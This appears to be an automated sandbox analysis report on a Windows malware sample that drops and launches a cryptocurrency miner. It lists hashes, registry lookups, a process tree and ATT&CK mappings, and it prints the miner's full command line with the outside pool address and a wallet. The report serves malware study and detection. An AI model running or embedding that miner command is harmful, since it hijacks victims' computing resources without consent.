73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 14:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1152	b2e.exe
100	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
100	cpuminer-sse2.exe
100	cpuminer-sse2.exe
100	cpuminer-sse2.exe
100	cpuminer-sse2.exe
100	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2520-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 1152	2520	batexe.exe	84
PID 2520 wrote to memory of 1152	2520	batexe.exe	84
PID 2520 wrote to memory of 1152	2520	batexe.exe	84
PID 1152 wrote to memory of 4720	1152	b2e.exe	85
PID 1152 wrote to memory of 4720	1152	b2e.exe	85
PID 1152 wrote to memory of 4720	1152	b2e.exe	85
PID 4720 wrote to memory of 100	4720	cmd.exe	88
PID 4720 wrote to memory of 100	4720	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Users\Admin\AppData\Local\Temp\952B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\952B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\952B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\97EA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\952B.tmp\b2e.exe

Filesize
14.5MB

MD5
81d337eaa27c3c14e78d5ec9bced33d3

SHA1
6e32cafff3664f10ee9f83376568505a8543c9c3

SHA256
7ba38fe19c32106cb0574199c8c253dd72607bdf16b1eb7a632cb470237567a9

SHA512
c24fc82afd2dae985fa7c5a041af13e8164adb97eb490edc643c7cc01bfb7d3e998ada0324f30e478ca6f5a88843642379f96b068a58e83361525ee82432206c

Download Submit
C:\Users\Admin\AppData\Local\Temp\952B.tmp\b2e.exe

Filesize
5.9MB

MD5
cc312e04d20696ede61a2261475eb856

SHA1
fd9cdd5a1a3a71dc9bf089e0a97ecfbc17eed483

SHA256
a4291e750e787645d735726f0362ee2185ebad6737cf52e1e5461a01a122312b

SHA512
b009c16cd37992231336f8a01ad303bab1f94f7867a0bb89ee061bce83d353622fc7b6b640bad9a2346430ec29fb7228180243e1c81f12127c38164023f6a9be

Download Submit
C:\Users\Admin\AppData\Local\Temp\952B.tmp\b2e.exe

Filesize
7.0MB

MD5
7623e7a9bbefb872ea7429a55b67a72d

SHA1
ea1b20892189c0d5276e34da8ccaa48fb5fd59f4

SHA256
08e26da61e831689dac9a44cdfc2cd3c51000cc769acba9d477b399ded31400e

SHA512
a1e8c823b96a72ed6b62b5739742723b4e3d511f2f28d40ec611e3bdf6eda38c79ff0d8fcc006592bc1604406414d53d827a590f01a04142d52ce0ac13daaba7

Download Submit
C:\Users\Admin\AppData\Local\Temp\97EA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
ee24244d26673be7f1c68f830817f439

SHA1
7e3a8de7b9b8ae91a033d24c796e0dedcda77e78

SHA256
635374fbef9c20bebb13d401296e8e6100c0a7ae6143b3c5d8cd2017a3ebc946

SHA512
b94b1572509d7398d6d074267df042eec9fa7ce056aa3f7a4b1fba281ed18e2efabbd1a96093e1dc432eef64937192e8ef844428d089b724b6803f2438864930

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
a23045e3a39b385d2cc93fd8b8d63a55

SHA1
c8ab6156764d6730eabe0117727246b44d1ede6c

SHA256
35ff6ec9510207b13d81205cc454cbba7f17d20c95573ba59258833cdb6afe23

SHA512
9edbee5bb1391262be46121cfe95d64fee23718760e3babfdce1aeb3a285f3aa98c4ea8510dc06e5fc425d69e2f77c81f66188dcaa58859265050121a9d1c128

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
37157b97a7f9c7048e60838684ebea29

SHA1
62d58c124dacb8b8b2c1dfee3d48b24558675e28

SHA256
090142799358b7a50ac93bb8572dc884d2b1d6d42832dec06a3eac690ac30de8

SHA512
b04a6516f52f1cfa7703fe6134a11e7a6634948a001d4e341ba42c353d1cb2eace1ee8c76fff37406201b18f82c6686d0d545197451b2cbc85f9aa430c38384a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/100-46-0x00000000569B0000-0x0000000056A48000-memory.dmp

Filesize
608KB

Download
memory/100-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/100-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/100-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/100-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/100-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1152-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1152-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2520-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download